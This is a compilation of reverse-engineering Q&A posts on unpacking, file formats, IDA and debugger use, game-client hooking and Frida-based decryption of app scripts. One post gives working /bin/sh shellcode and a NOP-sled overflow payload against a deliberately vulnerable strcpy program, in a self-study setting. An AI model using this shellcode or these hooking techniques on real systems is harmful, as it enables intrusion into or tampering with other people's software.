I've unpacked a binary which was packed with PECompact v2.2 (according to Detect It Easy) and successfully rebuilt the IAT. The binary actually does run, but when I open it in IDA Pro debugger, it is making calls to memory which isn't in existence in the process, which prevents the program from continuing to execute and presents an error (shown below) in IDA. I've also attempted to debug this same program in OllyDbg but OllyDbg doesn't seem to even parse the instructions inn the unpacked version. My question is, what could cause this? Did I unpack the file wrong? Fail to properly rebuild the IAT? Is this a rebasing issue? How can I fix this?

It should also be noted that I try to apply the offset to the proper image base but still, it does not exist:


问:
Struggling with an archive file format using "encryption"
I am currently working on a file format used to pack (storage only, no compression) different file types together for transport. There is some sort of very simple "encryption" used and so far I have not had any luck. I do know the exact (partial) plain text though.

This is my first time reversing anything so it is very likely that I am missing something obvious!

I have worked out the complete structure of the format:

Header with some info

all "packed" files concatenated, filled to mod4 and "encrypted"

a file list with position, size and md5 for each file

Additionally each md5 is followed by a 32bit seperator(same on each block and every file, value = 2) and than follows a 32bit "key" at least this is my guess as these 32bit are the same on each block in the file list but every archive file has its own "key". I do know the exact contents of some of the files (all black .pngs) and can find them in the "cipher" text, each of the multiple pngs is "encrypted" exactly the same so I was thinking that it can not be anything overly complicated.

I can create multiple archives with the exact same content. If they are diffed the only thing that changes is the data block and the 32bit "key". The software used to create the archives does save a key value in one of its config files and changes it every time an archive is created but this key is 7 digit and the 32bit key (if read as LIT 32bit int) is a completely different 9 digit number. As the files are filled up so they are mod4=0 I tried to xor each 32bitblock with the "key" but this did not lead to the known plain text (e.g. png header data).

There is no additional data sent(or received prior to creation of the archive) to the receiving machine(s) of these files so I assume that the key for decryption must be part of the original file.

As the whole process of reversing the format was hugely difficult but progress also very rewarding I was just hoping for some pointers or obvious stuff I missed instead of an outright solution as this is the final piece of the puzzle :D

Key with md5 from the file list

crypted png

plain text png

Thank you


问:
replicate external bank switching in IDA Pro
I'm reverse engineering an embedded Z80 application in IDA Pro 7.0. The target system maps one address range to either of a pair of expansion boards. The address decode logic decides which board is mapped based on one bit in a memory-mapped register. I think I've figured out how to map the segments, but I can't figure out how to get IDA to use the bank-switched area.

I've set up my segments like this:

```<code>Segment  Start    End  Base
ROM1     00000  02000  0000
ROM2     02000  04000  0000
ROM3     04000  06000  0000
ROM4     06000  08000  0000
ROM5     08000  0A000  0000
IO       0A000  0B000  0000
RAM      0B000  0C000  0000
DREG     1C000  1D000  1000
DRAM     1D000  1E000  1000
DROM     1E000  20000  1000
CROM     2C000  30000  2000
</code>```

I've allocated base 0x0000 for things that are always mapped (ROM1-5, IO, RAM), base 0x1000 for bank-switched things on one board (DREG, DRAM, DROM), and base 0x2000 for bank-switched things on the other board (CROM). This results in (DREG, DRAM, DROM) and CROM both having the virtual address range 0xC000-0xFFFF, which is correct.

I can't figure out how to tell IDA which bank/base to use, either manually or automatically. Whenever it encounters a reference to a different base it shows the address as a problem and renders it with five digits instead of four (e.g. 0E018h) and I can't find any way to manually resolve the reference. I've read through the scant official documentation, and I've tried googling various related terms to no avail.

Ideally, I'd like IDA to recognize the bank select register and automatically choose the right segment the way it does for processors with a native segment register. If that's not possible, manually specifying the target bank/base for each reference would be tolerable. Can someone provide guidance on how to achieve either of those, or more generally on how to handle external bank-switching in IDA?

Edit: I set up segment translation to make the fixed segments available from all of the segments, and now code references from the switched segments to the fixed ones work. Data references from fixed to switched still don't resolve. I'm guessing that adding one or the other set of switched segments to the translation list for the fixed segments would make all references to the switched range resolve to that bank, but I need to be able to resolve some to one bank and some to the other so that's not a solution.

Edit: I've discovered that I can use the "Manual" option from the right-click menu to change a jp or call operand from e.g. 0E018h to 1E018h and thereby manually select a bank. That does make the link resolve, but it appears to be more of a hack than a proper solution as IDA doesn't show names and repeatable comments at the call site like it normally does.

ContentLicense: CC BY-SA 4.0


问:
Generating symbol file for closed-source binary by hand
I have a closed-source binary (minecraft-pi). For a given section of the assembly like so:

```<code>   a2ed4:       e92d45f8        push    {r3, r4, r5, r6, r7, r8, sl, lr}
   a2ed8:       e1a04000        mov     r4, r0
   a2edc:       e59d0024        ldr     r0, [sp, #36]   ; 0x24
   a2ee0:       e352007f        cmp     r2, #127        ; 0x7f
   a2ee4:       d3a02000        movle   r2, #0
   a2ee8:       c3a02001        movgt   r2, #1
   a2eec:       e1922fa0        orrs    r2, r2, r0, lsr #31
   a2ef0:       1a000015        bne     a2f4c
</code>```

conveniently there's another binary libminecraftpe.so that has code with symbols while containing similar disassembled instructions, and similar relative placement among functions e.g.:

```<code>0013a3ac <_ZN5Level11hasChunksAtEiiiiii>:
  13a3ac:       e92d 43f8       stmdb   sp!, {r3, r4, r5, r6, r7, r8, r9, lr}
  13a3b0:       2a7f            cmp     r2, #127        ; 0x7f
  13a3b2:       4604            mov     r4, r0
  13a3b4:       9809            ldr     r0, [sp, #36]   ; 0x24
  13a3b6:       bfd4            ite     le
  13a3b8:       2200            movle   r2, #0
  13a3ba:       2201            movgt   r2, #1
  13a3bc:       ea52 72d0       orrs.w  r2, r2, r0, lsr #31
  13a3c0:       d119            bne.n   13a3f6 <_ZN5Level11hasChunksAtEiiiiii+0x4a>
</code>```

(_ZN5Level11hasChunksAtEiiiiii ~ Level::hasChunksAt(int, int, int, int, int, int) according to c++filt).

This matches up because despite one being ARM + Linux and the other ARM/Thumb + Android, they come from roughly the same codebase.

It's thus appealing to build a symbol file for minecraft-pi by hand and use it in gdb. Even when primarily stepping through assembly it would be very helpful if I could set breakpoints on function names and see informative backtraces.

So if I have written up a map of addresses to symbol names, how can I generate a corresponding symbol file binary (to be loaded in gdb via the symbol-file command, or even embedded into the executable)?

I'm familiar with human-readable debug symbol formats like Breakpad syms, but are there tools for generating a DWARF binary in this manner?

I found other questions on Stack Exchange related to IDA integration, dwarfexport, pwndebug, and unstrip (included in links below). florisschabert/unstrip has ARM support but seems to be geared toward inserting symbols based on Objective-C standard libraries, which isn't applicable here. Using IDA with dwarfexport could be an option, but I'd prefer a command-line solution that I could script. I'm basically looking for advice on generally recommended practices before I try out these various tools with limited documentation.

Links:

How to handle stripped binaries with GDB? No source, no symbols and GDB only shows addresses?

Loading user specified IDA symbols in GDB

https://github.com/alschwalm/dwarfexport

https://github.com/pzread/unstrip

https://github.com/florischabert/unstrip


问:
Need Help decrypting .luac files
I have been recently trying to decrypt .luac files inside an encrypted android app. I tried to follow some of the previous threads here but the following frida script didn't give any output.

```<code>Interceptor.attach(Module.findExportByName("libcocos2dlua.so", "xxtea[i]decrypt"), {
    onEnter: function(args) {
        send(Memory.readUtf8String(args[1]));
    },
    onLeave:function(retval){}
});
</code>```

When I tried to hook lua[/i]load buffer, I got the decrypted lua file contents in response.

```<code>Interceptor.attach(Module.findExportByName("libcocos2dlua.so" , "luaL_loadbuffer"), {
    onEnter: function(args) {
        send(Memory.readUtf8String(args[1]));
    },
    onLeave:function(retval){}
});
</code>```

since there is very less documentation on frida android hooking can someone here help me write a frida script to dump all the decrypted luac files

Title: Need Help decrypting .luac files


问:
Difficulty decrypting nested PKCS #7 / AES router configuration file
I am trying to decrypt a router configuration backup file that appears to be a combination of a 128-byte header, a PKCS #7 encrypted file, and another OpenSSL salted format encrypted file.  I think the file encrypts a single data chunk in a nested way in order to hinder its decryption.

I can decrypt the first part with the following command.

```<code>dd if=file skip=128 iflag=skip_bytes |
openssl smime -decrypt -inform der -in - -inkey server.key -out part1
</code>```

This gives me 5550 base-64 encoded bytes, which I can then convert into a 4096 byte binary file.  The distribution of byte values within the file is random: similar to that I obtain from openssl rand.

My initial guess is that the first part file is a (too long?) key for decrypting the second part file.  Based on commands used in the router's firmware, I tried to decrypt the second part with the decrypted first part as a key, both before and after decoding it with base64.

```<code>dd if=file skip=$(grep -abo Salted__ file | cut -d: -f 1) iflag=skip_bytes |
openssl enc -d -aes-256-cbc -out decrypted -pass file:part1

dd if=file skip=$(grep -abo Salted__ file | cut -d: -f 1) iflag=skip_bytes |
openssl enc -d -aes-256-cbc -out decrypted -pass file:<(base64 -d <part1)
</code>```

In both cases I get a bad decrypt error, and the decrypted file appears to contain random bytes.  Any other ideas on how the file could be encrypted?


问:
Call again function with new parameters
I developing online game. I have full sources for server, but game client I am using is closed-source so I need to do some reverse engineering there. So for 2 weeks I am trying to properly call draw_rectangle function. In the image below you can see screenshot from OLLY.
There are functions:

DRAW_BLACK_BAR(black frame for health bar),

DRAW_COLORED_BAR(The health inside),

DRAW_NICK(already hooked)

the CALL DWORD PTR DS:[EDX+14] always points to 0x4EB2F0

So the addres contains that function in debugger:

As you can see there are parameters on the stack such as: Surface_id, position, size, color, pointer to creature.

So theres my hook:

```<code>superHook(dwHandle, 0x4C8C28, (unsigned int)newFunc); //instead of call print rectangle func for colored bar

void superHook(HANDLE dwHandle, int adr, unsigned int targetFunction)
{
    //its not normal CALL ADDR which takes 5 bytes (E8 + 4x bytes for address)
    //It is CALL DWORD PTR DS:[EDX+14] which takes 3bytes, so we will take more space
    //and we will rebuild the function

    // jmp to address +2x nop
    BYTE bytes[7] = { 0xE9, 0xFF, 0xFF, 0xFF, 0xFF, 0x90, 0x90};
    DWORD targetAddr = targetFunction - adr - 5;
    *(DWORD*)(bytes + 1) = targetAddr;
    WriteProcessMemory(dwHandle, (void *)adr, bytes, 7, NULL);
}

void newFunc()
{
    //Rebuild the function (Earsed commands to be able to put JMP address)
    __asm {
            MOV ECX, DWORD PTR SS : [EBP - 0x18]
            PUSH ESI
    }

    //Here I can access all the registers and stack before CALL will be executed

    //call draw rectangle
    __asm {
            CALL DWORD PTR DS : [EDX + 0x14]//always call 0x4EB2F0?
    }

    //go back
    __asm {
        PUSH 0x4C8C2F
            RET
    }

}
</code>```

And it works fine, I can acces the params on stack and modify them (CHange color,size, location etc). BUt I would like to be able to create another rectangle, for example next one with another color and position. I tried a lot of combinations of setting up the new stack with params calling the func and then calling it again with original ones but I always end up with client crash.

Heres an one of example of my attempt to create new call + restoring old one
https://pastebin.com/RUmaPGya (pastebin to not make this post too long)

Help plz :)

Title: Call again function with new parameters


问:
Custom image format decoding
TL;DR: is there any chance of decoding custom picture format in case I have sufficient amount of data? Please see examples at end.

I have binary files of an old DOS diskmag (late 90's). After couple of weeks playing with 010 Editor, Kaitai Struct and Python I managed to get somehow structured data from these files. It was eventually quite easy, files are innerly indexed and contains all pieces - something like Doom WAD, nothing unexpected for that years.

So now I can extract texts (stored as plaintext), sounds (stored mostly as PCM), music (MOD, XM), fonts (bitmaps) and pictures. Some pictures are stored as simple bitmap (not BMP with header and so, just raw pixel data), some pictures are compressed with PCX-like RLE algorithm, which was not a problem for me.

But there is also some other compression I do not recognize. Let's say that for every unknown picture i have:

dimensions in pixels (mostly 640x480)

color depth (always High Color)

first binary blob (small, usually 1-2 kB, exact size differs)

second binary blob (large, 50-250 kB, exact size differs)

screen dump of picture from diskmag running in DOSbox (yay!)

It seems to me that sizes of blobs depends on picture complexity and unique used colors. Also I guess that first blob is a dictionary of some kind (or maybe a Huffman tree?), whereas second blob contains compressed picture content itself.

Above that I suspect there is some weird home-made lossy compression, due easily recognisable artifacts around edges and even 8x8 quantization blocks in gradient-filled areas. See below for examples, I have thousands of them.

So my question: is there any chance of decoding these pictures? Do I have enough of data, or am I missing something? I think that everything I need is to recognize compression algorithm. Can anybody help me with it? I belive I can do the rest of work in Python as usually.

(Sorry for not linking binary blobs directly, I don't have enough of reputation here...)

Edit 1: Added example 06-04002-0004 - the smallest picture I've found (212x160 px).

Edit 2: I've realized that diskmag EXE have debug symbols inside! Some interesting function names are:

RLEDecomp (this one is for RLE packed images, I've already solved it)

LZSS_Decompress

InitHuffDecomp_

HuffDecompress_

BuildHuffTree_

BuildHuffTreeImg_

I can not say if it is more likely for decoding videos (yes, diskmag engine have his own format for videos too, I'm not that far yet), but maybe it will help?

Edit 3: Diskmag EXE for download: https://filebin.ca/3kL3kgNAqlJI

Example 06-04002-0004

dimensions: 212x160

High Color

first binary blob: https://filebin.ca/3kJWIHFLZJ9X

second binary blob: https://filebin.ca/3kJWL5SqHlAK

screen dump:

Example 06-05000-0004

dimensions: 640x480

High Color

first binary blob: https://filebin.ca/3kF4G2r0DnXT

second binary blob: https://filebin.ca/3kF4wopld9QG

screen dump:

Example 06-05050-0004

dimensions: 640x480

High Color

first binary blob: https://filebin.ca/3kF7hbOexD7D

second binary blob: https://filebin.ca/3kF7lLgeaAQ7

screen dump:

Example 06-05483-0004

dimensions: 312x480

High Color

first binary blob: https://filebin.ca/3kFAGWNEnNdM

second binary blob: https://filebin.ca/3kFAJdwtohzB

screen dump:

Example 06-07011-0004

dimensions: 640x480

High Color

first binary blob: https://filebin.ca/3kFGUQGcMZqD

second binary blob: https://filebin.ca/3kFGRc37e2pm

screen dump:

Title: Custom image format decoding


问:
Stack buffer overflow SIGSEGV help
I've been going at this for a couple of days now working through trial and error but I can't seem to pinpoint exactly why I'm still getting a SIGSEGV.

Here's the stdout of me stepping through the stack buffer overflow with gdb/gef: https://hastebin.com/hunekowasi.bash

The source for the c bin i'm executing is:

```<code>#include <stdio.h>
#include <string.h>

int main(int argc, char** argv) {
    char buf[256];

    if (argc < 2) {
        fprintf(stderr, "ERROR: argc < 2");
        return 1;
    }

    strcpy(buf, argv[1]);
    return 0;
}
</code>```

I compile it with:

```<code>gcc -g -Wall -fno-stack-protector -m32 -I. main.c -o overflow
</code>```

The machine im using has an 64 bit intel processor (little-endian), and I'm executing the ./overflow bin with this command:

gdb -q --args ./overflow $(perl -e 'print "\x90" x 236 . "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80" . "\xe8\x9c\xff\xff"')

The char array im trying to overflow is 256 bytes (appears to be 260 bytes i believe).

0x080484ab <+69>:  lea    eax,[ebp-0x108]

This is verified when I intentionally try to segfault:

```<code>th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master⚡
⇒  ./overflow $(perl -e "print 'A' x 256")
th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master⚡
⇒  ./overflow $(perl -e "print 'A' x 260")
[1]    18410 segmentation fault (core dumped)  ./overflow $(perl -e "print 'A' x 260")
</code>```

After verifying the segfault occurs at 260, I create my payload:

NOP sled = 236 bytes

shellcode = 24 bytes

I calculate for the jump by taking the beginning address of the buffer and adding 50 to it: 0xffff9cc0 + 50 giving 0xffff9c8e which I reverse since I'm on a little-endian system and that ends up being: \x8e\x9c\xff\xff.

The shellcode im using is the same shellcode i use in this source to verify it works on my system:

```<code>#include <stdio.h>
#include <string.h>

char shellcode[] = {
    "\x6a\x0b"                      /* push   0xb */
    "\x58"                          /* pop    eax */
    "\x31\xf6"                      /* xor    esi,esi */
    "\x56"                          /* push   esi */
    "\x68\x2f\x2f\x73\x68"          /* push   0x68732f2f */
    "\x68\x2f\x62\x69\x6e"          /* push   0x6e69622f */
    "\x89\xe3"                      /* mov    ebx,esp */
    "\x31\xc9"                      /* xor    ecx,ecx */
    "\x89\xca"                      /* mov    edx,ecx */
    "\xcd\x80"                      /* int    0x80 */
};

int main()
{
    printf("Shellcode Length:  %d\n", (int)strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
    return 0;
}
</code>```

Though.. When i execute the bin passing it the crafted string, i get a SIGSEGV error. I've played around with it quite a bit and can't seem to get it to work. I feel like im missing something small. You can see the output from gdb in the hastebin link i provided above.

edit - Adding some additional info that may be helpful.

```<code>@gef➤  checksec
[+] checksec for '/home/th3v0id/repos/bufferoverflows/stack/01/overflow'
Canary                        : No
NX                            : No
PIE                           : No
Fortify                       : No
RelRO                         : Partial

@gef➤  disassemble main
Dump of assembler code for function main:
=> 0x08048466 <+0>: lea    ecx,[esp+0x4]
   0x0804846a <+4>: and    esp,0xfffffff0
   0x0804846d <+7>: push   DWORD PTR [ecx-0x4]
   0x08048470 <+10>:    push   ebp
   0x08048471 <+11>:    mov    ebp,esp
   0x08048473 <+13>:    push   ecx
   0x08048474 <+14>:    sub    esp,0x104
   0x0804847a <+20>:    mov    eax,ecx
   0x0804847c <+22>:    cmp    DWORD PTR [eax],0x1
   0x0804847f <+25>:    jg     0x804849f <main+57>
   0x08048481 <+27>:    mov    eax,ds:0x804a020
   0x08048486 <+32>:    push   eax
   0x08048487 <+33>:    push   0xf
   0x08048489 <+35>:    push   0x1
   0x0804848b <+37>:    push   0x8048554
   0x08048490 <+42>:    call   0x8048330 <fwrite@plt>
   0x08048495 <+47>:    add    esp,0x10
   0x08048498 <+50>:    mov    eax,0x1
   0x0804849d <+55>:    jmp    0x80484bf <main+89>
   0x0804849f <+57>:    mov    eax,DWORD PTR [eax+0x4]
   0x080484a2 <+60>:    add    eax,0x4
   0x080484a5 <+63>:    mov    eax,DWORD PTR [eax]
   0x080484a7 <+65>:    sub    esp,0x8
   0x080484aa <+68>:    push   eax
   0x080484ab <+69>:    lea    eax,[ebp-0x108]
   0x080484b1 <+75>:    push   eax
   0x080484b2 <+76>:    call   0x8048340 <strcpy@plt>
   0x080484b7 <+81>:    add    esp,0x10
   0x080484ba <+84>:    mov    eax,0x0
   0x080484bf <+89>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x080484c2 <+92>:    leave
   0x080484c3 <+93>:    lea    esp,[ecx-0x4]
   0x080484c6 <+96>:    ret
End of assembler dump.
</code>```

Title: Stack buffer overflow SIGSEGV help


问:
IDA Pro 7.0 showing incorrect LOCALS in pseudocode view
Whenever I debug something and I switch to pseudocode and then rename some of the "variables" that IDA Pro creates, the values shown in the LOCALS window don't match what the actual values of those variables are.

Is there a way to fix that behaviour?


问:
windbg stopped after I set up a breakpoint, keeping busing

I'm studying reverse engineering, I wrote the following code to see how it is to pass struct variables in the disassembly.

```<code>struct s {
    int a;
    int b;
    int c;
};

struct s get_some_values(int a)
{
    struct s rt;

    rt.a = a + 1;
    rt.b = a + 2;
    rt.c = a + 3;

    return rt;
}

int main()
{
    get_some_values(4);
}
</code>```

The env is:

all tools installed automatically by this: http://boxstarter.org/package/url?https://raw.githubusercontent.com/fireeye/flare-vm/master/flarevm_malware.ps1

win 7 x64 (VM)

windbg x86

vs2017

complied to debug, without aslr and dep

command for the windbg after loaded the executable:

0:000> bl

0:000> x *!main

00411770          returnvalue!main ()

0:000> bp 0x00411770

Since then, at the left corner of windbg, its "BUSY", and not responding to any commands like 'g'.

Here's the screenshot:

Any idea what I'm facing now?
Thanks in advance!


问:
Define function in x64dbg
I am reversing a fairly complex app. In x64dbg (with xAnalyzer), is it possible to have custom function definitions?

A simple example would be to have a definition for WinMain(hInstance, hPrevInstance, lpCmdLine, nCmdShow), that would show similar to this:

I tried adding API definitions to apis_def in xAnalyzer but it did not work out.

Title: Define function in x64dbg


问:
Adobe Reader JIT Pages
I use Adobe Reader XI for a little research project.

I know that Adobe use SpiderMonkey as its JS engine.

When opening a .pdf file that contains JS, the JS code is compiled in runtime in parts (JIT), to bytecode and the bytecode is mapped on the heap in pages with RW access.
I try to understand how the bytecode then executes. Where the executable opcodes are located/mapped in runtime?

Using windbg !address command, I don't see any page with RX access on the heap.

What I try to do is to figure out how the JS engine works, down to the page level. Means, how the engine interprets the bytecode to executable opcodes and where do he map that executable instructions themselves, alongside how he determines where to map each time the next executable code.

Title: Adobe Reader JIT Pages


问:
Pointer disassembly
I'm using the Capstone engine to develop an ELF disassembler. I have implemented a linear sweep algorithm as the most basic version.

My goal is to implement the recursive traversal now.

Consider some disassembly (it does not really matter what it does):

```<code>0x4005b6:   xor ebx, ebx
0x4005b8:   nop dword ptr [rax + rax]
0x4005c0:   mov rdx, r13
0x4005c3:   mov rsi, r14
0x4005c6:   mov edi, r15d
0x4005c9:   call    qword ptr [r12 + rbx*8]
0x4005cd:   add rbx, 1
0x4005d1:   cmp rbx, rbp
</code>```

Using recursive traversal, am I correct in thinking that it would not be possible to disassemble what is at the below address (or any branch instruction with pointers as a target for that matter)?

```<code>0x4005c9:   call    qword ptr [r12 + rbx*8]
</code>```

p.s. if it is of any interest, the value of r12 is computed as

```<code>0x40058b:   lea r12, qword ptr [rip + 0x20087e]
</code>```

the rip and r12 register is not referenced anywhere else in the wider disassembly that the code snipped belongs to.

Thanks

Title: Pointer disassembly


问:
Reverse Intel hex to programming code
I have a file in the Intel hex format, which was taken of from a pic16F1705 chip. I need to find a way to disassemble it into some form of human friendly programming language in order to make some modifications to it. I tried running it through a x86 and x64 dissembler, but in both cases I got an output, which looked like assembler code, but there were around 4000 bad lines in both cases.
My question is how should I disassemble this file, so I can read it in some human friendly programming language and modify it? </p>

```<code>0:  02 00                   add    al,BYTE PTR [eax]
2:  00 04 00                add    BYTE PTR [eax+eax*1],al
5:  00 fa                   add    dl,bh
7:  10 00                   adc    BYTE PTR [eax],al
9:  00 00                   add    BYTE PTR [eax],al
b:  80 31 0f                xor    BYTE PTR [ecx],0xf
e:  28 ff                   sub    bh,bh
10: 3f                      aas
11: ff                      (bad)
12: 3f                      aas
13: 7e 14                   jle    0x29
15: 80 31 20                xor    BYTE PTR [ecx],0x20
18: 00 7f 08                add    BYTE PTR [edi+0x8],bh
1b: a2 10 00 10 00          mov    ds:0x100010,al
20: f0 00 04 2e             lock add BYTE PTR [esi+ebp*1],al
24: 70 08                   jo     0x2e
</code>```

<p>These are some example lines of the output I get after running the hex through a x86/x64 dissembler. </p>

Title: Reverse Intel hex to programming code


问:
Decompiled code calls a function with unitialized variables
I'm working on decompiling the scripting engine from the game Rayman 2. It's going pretty well, but I'm getting stuck on a particular function which calls another function with arguments that aren't initialized.

This is the relevant piece of the function:

```<code>void __cdecl fn_p_stIntelligenceEvalTreeEngine(HIE_tdstSuperObject
*superObject, tdstNodeInterpret_ *nodeInterpreter, tdstGetSetParam_
*getSetParam)
{
  ...

  HIE_tdstSuperObject *superObject_1; // [sp+0h] [bp-20h]@0
  tdstNodeInterpret_ *nodeInterpreter_1; // [sp+4h] [bp-1Ch]@0
  tdstGetSetParam_ *getSetParam_1; // [sp+8h] [bp-18h]@0

  ...

  evaluatedNode = fn_p_stEvalTree(superObject_1, nodeInterpreter_1, getSetParam_1);
</code>```

From what I understand, at the time of calling the variables have already been put in place, namely at bp-20, bp-1C and bp-18h. Now what I'm failing to understand is how these variables are assigned. Should I be looking at the parent function which calls this function to see how these variables are created? Or is there some other explanation?

Here's the full function for those interested:
https://pastebin.com/Udj4K8PW


问:
BasicCompiler: wanted binaries which BC.exe or QB.exe (compiler) generates
I was in charge of analyze and reverse engineering the old unknown EXE for past few month. The binary works on MS-DOS for NEC-PC98 (retro PC), old (20years more ago), nobody knows how it's made.

I done the job and knew the binary had been generated by unknown vendor's basic compiler. The binary has interesting technique; well-designed VM, partial relocated overlaying like a DLL, data-section-compression and self melting. It highly impressed me. So I'd like to know the compiler generates the binary.

For now I guess that the vendor may be Microsoft. I'd try to use QuickBasic's compiler (BC.EXEQB.EXE) and would generate small binary but unfortunately I'm not owner the old toolchain.

So I'd love to ask someone a favor, if you have any Microsoft's Basic Compiler then goto dig your garage and put an old binary generated by such a compiler on me. I'll see it and want to identify the compiler and vendor.

The binary has following characteristics:

indicates magicWORD, 0x1e, on its exe header's reloc table offset address field

start-up-code/address is in higher address (backward of exe)

includes common libraries (such a libc) are relocatable on a single binary

generates fully native code not an P-code. a call matches a (unknown) VM-OP-code

Character code is ASCII/Shift-JIS big endian(cp932, multibyte code for Japanese)

floating points IEEE754 not MS-FP

rodata sections are easily compressed (optional?)

the EXE address map:

```<code>00000: MZ HEADER
00200: module1-header
00230: module1-code
00xxx: module1-data (compressed)
       : (repeats by module-N)
yyyyy: native libraries
zzzzz: startup code
ZZZZZ: relocation table (for calling a library)
</code>```

BC.EXE, Microsoft PDS, is one of interested products for me.
Please compile a simple code like this:

X = 0.5 * 100.0
PRINT X
FOR I=0 TO 16
    PRINT "Hello, World"
NEXT I

and I would appreciate it if you send me an output executable.

OwnerDisplayName: roentgen


问:
Is it possible to correctly disassemble STL inlines?
Is it possible to correctly disassemble STL inlines with IDA? STL inlines are not detected by FLAIR just because they are inline not functions. For example how can I know that the code I see disassembled was in the original source

```<code>  std::set<int> myset;
  myset.insert(10);
</code>```

but not

```<code>  std::vector<short> myvector;
  myvector.push_back(10);
</code>```

Is it possible somehow to know what the code exactly means when it was originally born?


问:
Tool for JavaScript deobfuscation
I'd like to reverse engineer a JavaScript program by manually renaming minimified variable, parameter and function names. However, updating my reverse-engineered code to a newer version would be very difficult, because:

The minimized variable names are randomized every time, which makes it hard to see what changed between two versions

Even if the variable names were static, I'd have to keep track of which variable means what, which is very difficult because variable names are not globally unique, but rather per-scope

Is there any tool that could:

Automatically rename variables to unique names keeping track of their scope

Be able to find difference between two versions by looking at the code structure but ignoring changes in the variable names, and assign names to new variables without conflicting the old ones

Automatically rename these variables based on an mapping file, such as var584 -> readPacket, var585 -> writePacket, ...

Automatically convert minimified statements such as condition && statement; to if (!condition) { statement; }, and !0 to true

Title: Tool for JavaScript deobfuscation


问:
Need help with a PiWM encoding question
I am working on reverse engineering a signal that I am fairly certain is a PiWM encoding.

I think I have figured it out, but the data seems to be gibberish so I am looking for some help to confirm that I have in fact converted the raw capture to 1’s and 0’s.

Essentially I did the following -
1- capture using osmocom_fft on hackrf one
2- using inspectrum I was able to find the symbol rate of the smallest message to be 2000 symbols per second
3- exported the symbols
4 - using iPython converted the symbols to 1’s and 0’s
The preamble has 0011 repeated 20 times which leads me to believe I am on the right track so far.
5 - wrote a perl script to parse those 1’s and 0’s to concert anytime I see two 1’s or two 0’s in a row = 1, otherwise = 0

It is my understanding that in Pulse Interval Width Modulation the Mark / Space is the long gap, short gap.

Does this sound correct or am I lost ?

Title: Need help with a PiWM encoding question


Title: Unsquashfs fails partways with gzip error code -5

Body:
I have been trying to unsquash a system.sfs file in order to modify the directories. however, unsquashfs system.sfs returns the following output:

```<code>Parallel unsquashfs: Using 8 processors
1 inodes (16000 blocks) to write

[===========================================|                                        ]  8386/16000  52%
gzip uncompress failed with error code -5
[=============================================================-                      ] 11906/16000  74%
</code>```

And it keeps hanging there. After I force the termination of the unsquashing process, I get a single system.img file, however, it is partial and can't be processed as a valid archive.
I have tried following the advice in this article, none of the tools helped solve the problem.
hexdump system.img doesn't produce any unusual output (except the address where it stopped maybe [0x4CCA0000]?):

```<code>4cc9ff30  40 00 00 00 00 00 00 00  00 00 03 7d 95 99 9d a1  |@..........}....|
4cc9ff40  a5 00 00 00 00 00 00 00  00 04 74 24 2c 00 00 00  |..........t$,...|
4cc9ff50  00 00 00 00 00 00 00 00  05 77 34 3c 00 00 00 00  |.........w4<....|
4cc9ff60  00 00 00 00 00 00 00 06  7e 95 9d 00 00 00 00 00  |........~.......|
4cc9ff70  00 00 00 00 00 00 80 80  2a 3a 6a 7a 8a 9b 00 00  |........*:jz....|
4cc9ff80  00 00 00 00 00 82 82 2a  3a 6a 7a 8a 9b 00 00 00  |.......*:jz.....|
4cc9ff90  00 00 00 00 81 81 32 72  00 00 00 00 00 00 00 00  |......2r........|
4cc9ffa0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
4cc9ffb0  00 00 00 00 00 00 00 00  00 00 00 00 06 10 30 78  |..............0x|
4cc9ffc0  99 50 00 00 00 00 00 01  01 01 01 02 02 03 03 03  |.P..............|
4cc9ffd0  04 04 04 05 05 06 06 06  0a 0a 0a 0b 0b 0c 0c 0c  |................|
4cc9ffe0  07 07 07 07 08 08 09 09  09 0d 0d 0d 0e 0e 0f 0f  |................|
4cc9fff0  0f 04 04 04 05 05 06 06  06 10 10 04 04 04 05 05  |................|
4cca0000
</code>```

When I issued binwalk system.img, the output looked rather usual until the end of the file, which produced:

```<code>DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1062442       0x10362A        Unix path: /../gm200/acr/bl.bin
1062698       0x10372A        Unix path: /../gm200/acr/ucode_load.bin
1062954       0x10382A        Unix path: /../gm200/acr/ucode_unload.bin
1063466       0x103A2A        Unix path: /../gm200/gr/fecs_bl.bin
1063978       0x103C2A        Unix path: /../gm200/gr/fecs_inst.bin
1064490       0x103E2A        Unix path: /../gm200/gr/gpccs_bl.bin
.
.
.
1045975763    0x3E5852D3      Unix path: /android/internal/net/NetworkStatsFactory
1045982563    0x3E586D63      Unix path: /android/internal/os/Zygote
1046052864    0x3E598000      ELF, 32-bit LSB shared object, ARM, version 1 (SYSV)
1046110595    0x3E5A6183      mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit
1046294454    0x3E5D2FB6      POSIX tar archive, owner user name: "SKIP_PADDING FAILED at line %d", owner group name: "hunk header at %d has invalid ty"
</code>```

I couldn't find any information whatsoever about the aforementioned issues.
Any insights on how I can address the problem?


问:
Reverse engineer checksum in AC Sharp IR packet
i use microcontroller and received ir frame of air conditioner SHARP.
This Ir frame have 13 byte data (in decimal number, not hex) like below:

```<code>85 90 243 8 131 140 66 0 176 1 32 7 133
85 90 243 8 142 140 66 0 176 1 32 7 136
85 90 243 8 67 140 66 0 176 1 32 7 137
85 90 243 8 78 140 66 0 176 1 32 7 132
85 90 243 8 195 140 66 0 176 1 32 7 129
</code>```

for hex value:

```<code>0x55 0x5A 0xF3 0x08 0x8E 0x8C 0x42  0x00 0xB0 0x20 0x07 0x88

0x55 0x5A 0xF3 0x08 0x43 0x8C 0x42 0x00 0xB0 0x20 0x07 0x89

0x55 0x5A 0xF3 0x08 0x4E 0x8C 0x42 0x00 0xB0 0x20 0x07 0x84

0x55 0x5A 0xF3 0x08 0xC3 0x8C 0x42 0x00 0xB0 0x20 0x07 0x81
</code>```

i was check XOR and SUM of 12 byte but can not calculate the checksum byte. How is that checksum is calculated ???

Byte 1 to 4 alway same value.

Byte 5: contain data for temperature.

Byte 6: contain ON/OFF mode

Byte 7 change the fan speed.
Fan speed = 1, byte 7 = 0x42
